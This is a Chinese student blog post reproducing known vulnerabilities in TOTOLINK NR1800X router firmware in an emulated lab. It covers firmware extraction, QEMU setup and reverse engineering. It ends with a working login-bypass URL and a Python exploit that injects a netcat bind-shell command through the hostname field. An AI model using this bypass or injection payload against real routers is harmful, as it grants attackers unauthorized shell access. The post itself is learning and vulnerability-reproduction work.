menu 牢记自己是菜
TOTOLINK NR1800X 系列 CVE 分析
342 浏览 | 2023-06-18 | 阅读时间: 约 10 分钟 | 分类: 固件漏洞安全 | 标签: iot
请注意,本文编写于 169 天前,最后修改于 169 天前,其中某些信息可能已经过时。

0x1 前言

之前本科生的时候就想接触Iot安全,在我的印象中张老师好像一直想带我们搞来着,结果小米音箱买了,华为路由器买了,海康威视的摄像头买了,结果我们没有一个人会做,所以最后就无限搁置了2333。从这篇博客开始,莱莱要告别本科生开始研究生生涯了,研究生方向不出意外应该就是固态安全方向了,今天和学长交流后,学长决定让我从最简单的复现开始。所以我今天准备从项目的第一个漏洞固件开始进行复现,争取把所有见过的知识点搞懂搞会,为以后的漏洞挖掘做准备吧。

博客以复现为主,所以充满了知识缝合怪,请各位不要介意hh。

0x2 环境搭建

使用qemu-use进行环境搭建

Binwalk是一种快速,易于使用的工具,用于分析,逆向工程和提取固件映像。

Disassembly Scan Options(反汇编扫描选项):

Y, --disasm:使用capstone反汇编器识别文件的CPU架构;
T, --minsn = num:表示指定文件中连续的最小指令数,以被视为有效文件(默认值:500);
k, --continue:不在第一次匹配时停止。

Signature Scan Options(签名扫描选项):

B, --signature:扫描目标文件中的常见文件签名;
R, --raw = str:扫描目标文件的特定字节序列;
A,--opcodes:扫描目标文件中的常见可执行指令签名;
m,--magic = file:指定使用的自定义魔法文件;
b,--dumb:禁用智能签名关键字;
I,--invalid:显示标记为无效的结果;
x,--exclude = str:排除与给定字符串匹配的结果;
y,--include = str:仅显示与给定字符串匹配的结果。

Extraction Options(提取选项):

e,--extract:自动提取已知的文件类型;
D,--dd = type [:ext [:cmd]]:提取匹配<type>的签名(正则表达式),为文件分配<ext>扩展名,并执行<cmd>;
M,--matryoshka:递归扫描提取文件;
d,--depth = int:限制matryoshka递归深度(默认为8级深度);
C,--directory = str:将文件/文件夹提取到自定义目录(默认:当前工作目录);
j,--size = int:限制每个提取文件的大小;
n,--count = int:限制提取文件的数量;
r,--rm:在提取后删除碎片文件;
z,--carve:从文件中雕刻数据,但不执行提取实用程序;
V,--subdirs:将提取成的子目录命名为偏移量。

Entropy Options(熵选项):

E,--entropy:计算文件熵;
F,--fast:使用更快但详情更少的熵分析;
J,--save:将图表存储为PNG格式;
Q,--nlegend:在熵图中省略图例;
N,--nplot:不生成熵图表;
H,--high = float:设置熵上升峰值触发阈值(默认:0.95);
L,--low = float:设置熵下降峰值触发阈值(默认:0.85)。
Binary Diffing Options(二进制差分选项):

W,--hexdump:对文件或文件进行十六进制转储/比较;
G,--green:仅显示所有文件中每个字节都相同的行;
i,--red:只显示在所有文件中差异的行;
U,--blue:仅显示在一些文件中不同的字节所在的行;
u,--similar:仅显示所有文件之间相同的行;
w,--terse:比较所有文件,但仅显示第一个文件的十六进制转储。
Raw Compression Options(原始压缩选项):

X,--deflate:扫描原始的deflate压缩流;
Z,--lzma:扫描原始的LZMA压缩流;
P,--partial:执行简单但更快的扫描;
S,--stop:在第一个结果后停止扫描。
General Options(一般选项):

l,--length = num:扫描字节的数量
o,--offset = num:从此文件偏移量开始扫描
O,--base = num:将基本地址添加到所有打印的偏移量中。
K,--block = num:设置文件块大小。
g,--swap = num:反转每n个字节后扫描。
f,--log = file:将结果记录到文件中。
c,--csv:以CSV格式将结果记录到文件中。
t,--term:格式化输出以适合终端窗口。
q,--quiet:禁止将输出写入stdout。
v,--verbose:启用详细输出。
h,--help:显示帮助输出。
a,--finclude = str:仅扫描匹配此正则表达式的文件。
p,--fexclude = str:不扫描匹配此正则表达式的文件。
s,--status = num:在指定端口上启用状态服务器。
 

我们首先将固件文件进行提取:

binwalk -Me TOTOLINK_C834FR-1C_NR1800X_IP04469_MT7621A_SPI_16M256M_V9.1.0u.6279_B20210910_ALL.web

Q1:为什么所有的Iot设备程序都以固件包的形式进行发布,每个固件包中包含什么?

所有的IOT设备程序都以固件包的形式进行发布,因为IOT设备通常具有嵌入式系统,这意味着设备的操作系统和应用程序都是直接嵌入在硬件中的,而不是运行在外部计算机上的软件程序。由于这种特殊的设计,更新IOT设备的软件和固件变得更加复杂,需要使用专门的固件更新工具来更新,而且固件包格式提供了便于安全和完整性检查的机制,可以确保设备得以正常运行。此外,使用固件包来更新IOT设备的程序还可以确保设备固件的版本和升级流程是一致的,避免了设备在固件升级过程中发生混乱和错误。因此,IOT设备固件包的发布和使用是为了方便用户对设备的更新和维护,同时还可以保证固件的安全性和可靠性。

一般情况下,一个固件包中可能会包含如下部分。

  1. 操作系统:固件包可能包含设备运行的操作系统或操作系统的安装程序。
  2. 应用程序:IOT设备的固件包包含应用程序的二进制文件和组件,这些应用程序为设备提供所需的功能。
  3. 驱动程序:固件包可能包括驱动程序,这些驱动程序是用于使设备硬件与设备之间通信的程序。
  4. 脚本:固件包可能包含用于配置设备或执行与设备相关的任务的脚本。
  5. 配置文件:嵌入式系统的配置文件,这些文件指定设备的设置和参数。
  6. 安全策略:固件包可能包括安全策略,这些策略确保固件安全,并防止未经授权的访问和攻击。

我们将固件进行提取得到了一个类似于Linux的操作系统的目录,这个就是嵌入是系统的文件目录。我们看一下文件的具体架构,发现是MIPS架构,小端序存储,使用mipsel来进行模拟。

readelf -h init

Q2:Squashfs-root是什么?

Squashfs-root是一种文件系统格式,它被广泛用于Linux操作系统中的嵌入式设备和Live CD、Live USB等便携式操作系统中。它的名称中的“squashfs”是指“SQUASH Filesystem”。Squashfs-root文件系统采用只读方式运行,这意味着它的内容不能被更改,通常用于存放IOT设备或嵌入式系统的操作系统和应用程序。通过使用Squashfs-root文件系统,可以将多个文件和目录压缩为一个只读的文件,以提高文件系统的性能并减小内存占用。 此外,Squashfs-root还支持透明的数据压缩,可以在不损失性能的情况下节省存储空间。

由于我们已经确定了模拟的架构,将需要使用的架构粘贴在当前目录下:

cp /usr/bin/qemu-mipsel-static .

然后我们尝试启动

sudo chroot . ./qemu-mipsel-static ./usr/sbin/lighttpd

出现提示,提示我们少了一个配置文件。该文件的配置文件在lighttp目录下,我们加上即可。

2023-06-16 12:36:49: (server.c.548) No configuration available. Try using -f option.
sudo chroot . ./qemu-mipsel-static ./usr/sbin/lighttpd -f ./lighttp/lighttpd.conf

紧接着会提示一个文件无法打开,这里的文件名是lighttpd.pid。由于没有系统的做软件逆向,我这里猜测这里的 lighttpd.pid 文件的名字通常与运行在系统上的 lighttpd 服务器相关。在启动 lighttpd 服务器时,可以将其 PID 写入 lighttpd.pid 文件中,以便在需要时,其他程序可以监视 lighttpd 服务器的运行状态或关闭该服务器。所以我们这里创建一个文件夹即可。

2023-06-16 12:51:14: (server.c.624) opening pid-file failed: /var/run/lighttpd.pid No such file or directory
cd ./var
mkdir run
cd run
touch lighttpd.pid

我们访问网站,我们发现我们服务器应该是已经运行了,但是前端并没有任何显示。资料说要做ssh的端口转发,我尝试后并没有解决问题,根据前端的信息,我们发现html,js脚本都是可以访问到的,但是不知道为什么不能正常运行,这里先留一个疑问。

Q3:为什么我的前端没有界面啊!!!(未解决)

使用qemu-system进行环境搭建

下载相应的qemu的镜像

wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta

创建一个shell文件,用于启动虚拟机,搭建相应的网桥

#set network
sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.5.1/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.5.11/24 up
sudo brctl addif virbr0 tap0

qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

为qemu虚拟机设置IP,刚才在Ubuntu我们干了4件事情。

  1. 添加一个名为virbr0的新网桥。
  2. 将virbr0网桥指定为192.168.5.1 IP地址的网络接口,并使其处于活动状态。
  3. 创建一个名为tap0的新虚拟网络接口。
  4. 将tap0接口指定为192.168.5.11 IP地址的网络接口,并使其处于活动状态。
  5. 将tap0接口添加到virbr0网桥中。
ifconfig eth0 192.168.5.12 up

然后我们相当于将qemu虚拟机与我们的Linux进行了一个桥接,他们在网段192.168.5。而我们的物理机与Linux也是桥接的状态,他们的网段是192.168.1。

我们将我们的根目录丢在我们虚拟机的根目录中。

scp -r squashfs-root/ root@192.168.5.12:/root/

qemu挂在启动,服务在192.168.5.12。

chroot ./squashfs-root/ /bin/sh ./usr/sbin/lighttpd -f ./lighttp/lighttpd.conf

0x3 漏洞复现

根据资料,这个固件有很多漏洞,主要以命令注入和堆栈漏洞。但是参考资料都是以命令注入漏洞的利用为主,所以我这里只复现由前辈与学长复现过的漏洞,挖洞的话我还不够格。。。。

登录验证绕过

我们在搭建完服务后访问IP地址会直接进入到一个登陆界面,我们需要输入相应的密码进行登录。配置过路由器的小伙伴肯定知道,一般这个密码是写在路由器的外包装盒子或者在路由器底部的地方。

首先我们在Ubuntu上配置一下burpsuit,参考文章

我们随意输入密码,对包进行拦截,首先我们来观察第一个包。

我们向服务器发送了一个POST请求,而在cgi-bin目录下的文件cstecgi.cgi处理了这个请求,我们在目录下可以找到这个文件,我们逆向看一下代码。


Q4:CGI结尾的文件是什么类型的文件。

CGI (Common Gateway Interface) 是一种通用的网络协议,它定义了 Web 服务器和客户端程序(常见的使用的是网页浏览器)之间交换数据的方式,可以让网页浏览器与服务器上的程序(脚本或可执行文件)通信。cgi是CGI程序的文件后缀名,通常是用Perl或C等语言编写的可执行文件,用作处理动态网页的请求并生成HTML内容。当CGI文件被Web服务器接受并调用时,它将向浏览器发送HTML“动态”页面,这些页面根据用户请求动态生成。

但由于CGI的性能和安全性方面存在一些问题,在现代Web开发中被很多技术替代,例如各种服务端脚本语言(PHP、Python等)、微服务、Serverless架构等等。因此,通常不再建议使用CGI。


我们直接进入主体main函数,看看具体函数流程。

首先当请求抵达服务器时,服务器会进行一系列的处理操作,包括:提取环境变量的值,请求长度的已知数据。由于我们是请求登录,所以action==login,直接会进入至登录请求的初始化过程。在初始化中,程序会初始化一个json格式的数据,以便后续代码使用。

在初始化完成后,我们就会直接进入函数的主体函数,这里面一共四种类型的指令。这里类似一个函数表,该部分的代码负责选择相应的函数,这里以get函数为例,我们的get函数请求列表中包含58个函数,程序会使用while对函数进行遍历,直至遍历到我们需要寻找的函数,跳出循环,执行函数。

我们所需要的LoginAuth函数在这个函数表中,我们直接跳转函数表,就可以定位LoginAuth函数的所在位置。

LoginAuth函数中,主要是将我们输入的密码与硬件本身自带的密码进行了比对,然后发出了一个http为302的状态码。

HTTP 302是一种HTTP状态码,表示临时重定向。当客户端向服务器发送请求时,如果该请求的URI已被临时重定向到另一个URI,则服务器会返回一个302状态码,告诉客户端应该尝试到另一个URI中获取资源。于是我们有了第二个URL。

我们进入到lighttpd,进行逆向定位关键函数。其实可以直接搜索字符串(Re手看家本领)找登录函数,基本上能猜到关键函数。

其实如果是函数调用链的话,当一个包抵达时,会先触发connection_state_machine函数。该函数可能是一个状态机函数,用于管理TCP连接状态的转换和处理。

紧接着服务器触发http_response_write_header函数,开辟响应头的空间。在HTTP协议中,响应头包含了一系列的元属性信息,如响应状态码、内容长度、内容类型等。它们为客户端和服务端之间的数据传输提供了必要的元数据信息。服务器应该是先创建一个响应头的空间,然后填充相应的响应元属性信息,如状态码、时间戳、Server信息、Content-Type等等。这些信息通常可以通过请求的参数或其他方法获取。填充完毕后,将响应头写入TCP连接中,等待客户端读取。

http_response_write_header中则会处理请求,由于我们是账户请求,所以会触发userloginAuth函数。

userloginAuth函数中,有三个功能,分别是登录,登出,全部登出?(不太确定,没仔细看函数,只是根据函数名称猜测的)

紧接着我们就来到了关键函数,Form_Login()

整体逻辑很简单,就是传入URL的authCode字段是否是1,是1的话通过验证,不是的话返回登陆主页。(我都惊了,这个固件居然把验证与登录分为两个阶段,中间没进行任何加密,甚至连重放攻击都不需要,得亏是个固件。。。)

所以我们根据上述分析,构造一下URL直接访问,模拟我们抓包的第二个包,就可以登录了(其实就是将authCode改为1即可)。

http://192.168.5.12/formLoginAuth.htm?authCode=1&userName=admin&goURL=home.html&action=login

OpModeCfg 命令注入

setOpModeCfg函数中,其漏洞原因是传入的hostName参数,可执行到doSystem函数。这个是完全根据学长和资料中推出来的。。这个让我自己找肯定找不到,起码现在找不到。

本exp是根据学长的思路改变的来,由于suppress() 函数是在 Python 3.4 中引入的,Python 2.X 并没有该函数。没有现成的 contextlib.suppress() 方法可以用于 Python 2.x,所以我们创建一个类似的帮助类实现该功能。具体思路就是通过命令执行将shell映射至9999端口,然后我们对9999号端口进行直连即可。

import requests
import os
from contextlib import contextmanager

@contextmanager
def suppress(*exceptions):
    try:
        yield
    except exceptions:
        pass

session = requests.Session()
login_url = "http://192.168.5.12/formLoginAuth.htm?authCode=1&userName=admin&goURL=home.html&action=login"
raw = session.get(login_url, timeout=5)

inject_url = "http://192.168.5.12/cgi-bin/cstecgi.cgi"
inject_data = {
    "proto":"8",
    "hostname":"';nc -l -p 9999 -e bash;'",
    "topicurl":"setOpModeCfg"
}

with suppress(Exception):
    resp = session.post(inject_url, json = inject_data, timeout=1)
print "shell!? ---------------> "
os.system("nc 192.168.5.12 9999")

参考资料

TOTOLINK NR1800X 系列 CVE 分析

发表评论

email
web

全部评论 (共 2 条评论)

    2023-08-29 15:24
    结果小米音箱买了,华为路由器买了,海康威视的摄像头买了,结果我们没有一个人会做
    太真实啦5555
    2023-07-24 17:02
    冲冲!